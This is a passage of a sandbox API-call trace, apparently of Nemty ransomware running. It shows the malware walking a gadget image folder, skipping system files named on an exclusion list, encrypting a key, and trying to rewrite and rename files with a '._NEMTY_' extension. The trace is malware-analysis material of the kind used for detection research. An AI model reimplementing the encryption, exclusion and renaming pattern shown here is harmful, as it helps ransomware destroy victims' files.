lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.240] CloseHandle (hObject=0xffffffff) returned 0 [0149.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0149.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0149.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_down.png._nemty_kgobjgd_")) returned 0 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0149.240] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="reveal_hov.png", cAlternateFileName="")) returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2=".") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="..") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="...") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="windows") returned -1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="$RECYCLE.BIN") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="rsa") returned -1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="NTDETECT.COM") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="ntldr") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="MSDOS.SYS") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="IO.SYS") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="boot.ini") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="boot.ini") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="AUTOEXEC.BAT") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="ntuser.dat") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="desktop.ini") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="CONFIG.SYS") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="RECYCLER") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="BOOTSECT.BAK") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="bootmgr") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="programdata") returned 1 [0149.241] lstrcmpiW (lpString1="reveal_hov.png", lpString2="appdata") returned 1 [0149.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_hov.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_hov.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_hov.png", lpUsedDefaultChar=0x0) returned 14 [0149.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_hov.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_hov.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_hov.png", lpUsedDefaultChar=0x0) returned 14 [0149.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_hov.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_hov.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_hov.png", lpUsedDefaultChar=0x0) returned 14 [0149.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_hov.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_hov.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_hov.png", lpUsedDefaultChar=0x0) returned 14 [0149.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0149.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0149.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0149.242] Sleep (dwMilliseconds=0x5) [0149.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc9a4750, dwHighDateTime=0x1d561e8)) [0149.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc9a4750, dwHighDateTime=0x1d561e8)) [0149.243] GetLastError () returned 0x5 [0149.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.243] GetLastError () returned 0x5 [0149.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.243] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0149.243] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0149.243] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0149.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0149.243] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="DX3jM29fZ7/lsOgwuOR11npYK88rO6PwyO46h10rxM2fW67dSbN5dugZkKxUV5Yo\r\nS0LRGvC/1HFeyJvEp5uSvNg45nykWujQKcdm2blFwozAjtZLxHhzdziRGqGRtk1e\r\ndUZwOa9ykB8PYnvBTkC5ODtXWux0CtchdLpprZL4Bqdi5oDyGIS0Blr+ftPm83XH\r\n7L/RxJAS6piIdm3Yewx7Jv8qkWs3g9rm15i3GAyq+3YXgOxZYr24giu3X8IPZqZp\r\n6cseUO3SxH7z7czuVFF/hQRx64gJe7INXky7US3nQCIAfkY6JJMQzCzZA8iLpy9P\r\n8bN6JokAqZuUhthKjHJjXQ==\r\n", pcchString=0x653e91c) returned 1 [0149.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0149.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0149.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.244] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.244] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0149.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.349] CloseHandle (hObject=0xffffffff) returned 0 [0149.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0149.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0149.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340468 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_hov.png"), 